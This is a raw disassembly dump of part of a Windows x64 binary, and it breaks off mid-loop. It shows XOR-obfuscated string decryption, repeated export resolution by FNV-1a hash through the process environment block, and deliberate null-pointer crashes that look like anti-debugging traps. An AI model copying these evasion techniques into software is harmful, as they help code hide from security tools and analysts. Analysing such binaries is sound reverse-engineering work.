mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x538], 0x43700000
mov dword [rbp + 0x53c], 0x437a0000
lea rcx, [rbp + 0x538]
call fcn.140025c30
movups xmm0, xmmword [0x1401448b0]
movups xmmword [rbp + 0x6b8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14007b530
cmp r13d, 2
jl 0x14007b4ef
movdqa xmm5, xmmword [0x140107310]
mov edx, r12d
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6bc]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14007b3f0
jmp 0x14007b530
lea r9, [rbp + 0x6b8]
mov r8d, r12d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14007b500
lea rcx, [rbp + 0x6b8]
call fcn.14004f2d0
mov dword [rbp + 0x540], 0x43700000
mov dword [rbp + 0x544], 0x43898000
lea rcx, [rbp + 0x540]
call fcn.140025c30
movsd xmm0, qword [0x1401448c0]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1401448c8]
mov word [rbp - 0x68], ax
cmp byte [0x1401448c9], 0
je 0x14007b5a5
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x6f], 0x35
xor byte [rbp - 0x6e], 0x36
xor byte [rbp - 0x6d], 0x37
xor byte [rbp - 0x6c], 0x38
xor byte [rbp - 0x6b], 0x39
xor byte [rbp - 0x6a], 0x3a
xor byte [rbp - 0x69], 0x3b
xor byte [rbp - 0x68], 0x3c
xor byte [rbp - 0x67], 0x3d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdi, [0x140175530]
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.140047730
call fcn.140021440
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x548], 0x43700000
mov dword [rbp + 0x54c], 0x439d8000
lea rcx, [rbp + 0x548]
call fcn.140025c30
mov rcx, rbx
call fcn.140025a30
movaps xmm6, xmmword [0x140147660]
mov dword [rbp + 0x550], 0x43820000
mov dword [rbp + 0x554], 0x42200000
movsd xmm0, qword [str.fPQKM_I]
movsd qword [rbp + 0x148], xmm0
mov eax, dword [0x1401448d8]
mov dword [rbp + 0x150], eax
movzx eax, word [0x1401448dc]
mov word [rbp + 0x154], ax
movzx eax, byte [0x1401448de]
mov byte [rbp + 0x156], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007b77e
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fPQKM_I]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14007b790
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401756a8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401756a0]
mov qword [rsp + 0x20], rax
lea r9, [0x140175698]
xor r8d, r8d
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x148]
call fcn.14003f470
test al, al
je 0x14007c6bb
lea rax, [rbp + 0x7c8]
mov qword [rbp + 0x478], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c8], xmm0
mov qword [rbp + 0x7d8], r12
mov qword [rbp + 0x7e0], r12
xor r8d, r8d
lea rdx, [0x1400fbb04]
lea rcx, [rbp + 0x7c8]
call fcn.140056200
nop
lea rax, [rbp + 0x748]
mov qword [rbp + 0x9b0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x748], xmm0
mov qword [rbp + 0x758], r12
mov qword [rbp + 0x760], r12
mov r8, r14
inc r8
cmp byte [rdi + r8], 0
jne 0x14007b892
mov rdx, rdi
lea rcx, [rbp + 0x748]
call fcn.140056200
nop
lea rax, [rbp + 0x728]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
mov qword [rbp + 0x738], r12
mov qword [rbp + 0x740], r12
mov r8, r14
lea rax, [0x140175431]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007b8e0
mov rdx, rax
lea rcx, [rbp + 0x728]
call fcn.140056200
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x768], xmm0
mov qword [rbp + 0x778], r12
mov qword [rbp + 0x780], r12
lea rax, [0x140175332]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14007b920
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x768]
call fcn.140056200
nop
lea rax, [rbp + 0x7c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x748]
lea r8, [rbp + 0x728]
lea rdx, [rbp + 0x768]
lea rcx, [0x140179ab0]
call fcn.1400a0a50
cmp byte [0x140179cc0], 0
jne 0x14007b9f7
movsd xmm0, qword [str.u_B_]
movsd qword [rbp + 0x20], xmm0
movzx ecx, word [0x1401448e8]
mov word [rbp + 0x28], cx
movzx eax, byte [0x1401448ea]
mov byte [rbp + 0x20], 0x41
xor byte [rbp + 0x21], 0x35
xor byte [rbp + 0x22], 0x36
xor byte [rbp + 0x23], 0x37
xor byte [rbp + 0x24], 0x38
xor byte [rbp + 0x25], 0x39
xor byte [rbp + 0x26], 0x3a
xor byte [rbp + 0x27], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x28], cl
xor byte [rbp + 0x29], 0x3d
xor al, 0x3e
mov byte [rbp + 0x2a], al
cmp qword [0x140179ce0], 0xf
cmova r15, qword [0x140179cc8]
xor r9d, r9d
lea r8, [rbp + 0x20]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14007c6bb
movsd xmm0, qword [str._XFV__v_n_n]
movsd qword [rbp + 0x188], xmm0
mov eax, dword [0x1401448f8]
mov dword [rbp + 0x190], eax
cmp byte [0x1401448fb], 0
je 0x14007bb80
mov r8d, r12d
cmp r13d, 2
jl 0x14007bb35
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._XFV__v_n_n]
xorps xmm2, xmm0
movd dword [rbp + 0x188], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007bb50
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0xc90]
call fcn.140062e50
mov r8, rax
lea rdx, [rbp + 0xe88]
lea rcx, [0x140179ab0]
call fcn.1400a43f0
nop
cmp qword [rbp + 0xe98], 2
jbe 0x14007c49e
mov ecx, dword [0x1401796bc]
call fcn.14006a830
test al, al
je 0x14007bddf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bc56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bc56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bc51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bc30
cmp r8d, 0xcded1a85
je 0x14007bc5b
test r9d, r9d
jne 0x14007bc10
mov rax, qword [rax]
jmp 0x14007bbe0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bd06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bd06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bd01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bce0
cmp r8d, 0xe80fd3a
je 0x14007bd0b
test r9d, r9d
jne 0x14007bcc0
mov rax, qword [rax]
jmp 0x14007bc90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bdb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bdb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bdb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bd90
cmp r8d, 0xa52bcaf9
je 0x14007bdbb
test r9d, r9d
jne 0x14007bd70
mov rax, qword [rax]
jmp 0x14007bd40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006a540
test al, al
je 0x14007bfff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007be76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007be76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007be71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007be50
cmp r8d, 0xcded1a85
je 0x14007be7b
test r9d, r9d
jne 0x14007be30
mov rax, qword [rax]
jmp 0x14007be00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bf26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bf26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bf21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bf00
cmp r8d, 0xe80fd3a
je 0x14007bf2b
test r9d, r9d
jne 0x14007bee0
mov rax, qword [rax]
jmp 0x14007beb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bfd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bfd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bfd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bfb0
cmp r8d, 0xa52bcaf9
je 0x14007bfdb
test r9d, r9d
jne 0x14007bf90
mov rax, qword [rax]
jmp 0x14007bf60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401796b0], 0
je 0x14007c21f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c091
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c070
cmp r8d, 0xcded1a85
je 0x14007c09b
test r9d, r9d
jne 0x14007c050
mov rax, qword [rax]
jmp 0x14007c020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c146
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c146
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c141
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c120
cmp r8d, 0xe80fd3a
je 0x14007c14b
test r9d, r9d
jne 0x14007c100
mov rax, qword [rax]
jmp 0x14007c0d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c1f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c1f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c1f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c1d0
cmp r8d, 0xa52bcaf9
je 0x14007c1fb
test r9d, r9d
jne 0x14007c1b0
mov rax, qword [rax]
jmp 0x14007c180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x1401448fc]
mov dword [rbp - 8], eax
movzx eax, word [0x140144900]
mov word [rbp - 4], ax
mov byte [rbp - 8], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 7], 0x35
xor byte [rbp - 6], 0x36
xor byte [rbp - 5], 0x37
xor byte [rbp - 4], 0x38
xor byte [rbp - 3], 0x39
xor edx, edx
lea rcx, [rbp - 8]
call fcn.14006a580
test al, al
je 0x14007c46f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c2e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c2e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c2e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c2c0
cmp r8d, 0xcded1a85
je 0x14007c2eb
test r9d, r9d
jne 0x14007c2a0
mov rax, qword [rax]
jmp 0x14007c270
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c391
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c370
cmp r8d, 0xe80fd3a
je 0x14007c39b
test r9d, r9d
jne 0x14007c350
mov rax, qword [rax]
jmp 0x14007c320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c441
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c420
cmp r8d, 0xa52bcaf9
je 0x14007c44b
test r9d, r9d
jne 0x14007c400
mov rax, qword [rax]
jmp 0x14007c3d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796b9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796b2], 1
jmp 0x14007c6af
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c521
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c500
cmp r8d, 0xcded1a85
je 0x14007c52b
test r9d, r9d
jne 0x14007c4e0
mov rax, qword [rax]
jmp 0x14007c4b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c5d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c5d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c5d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
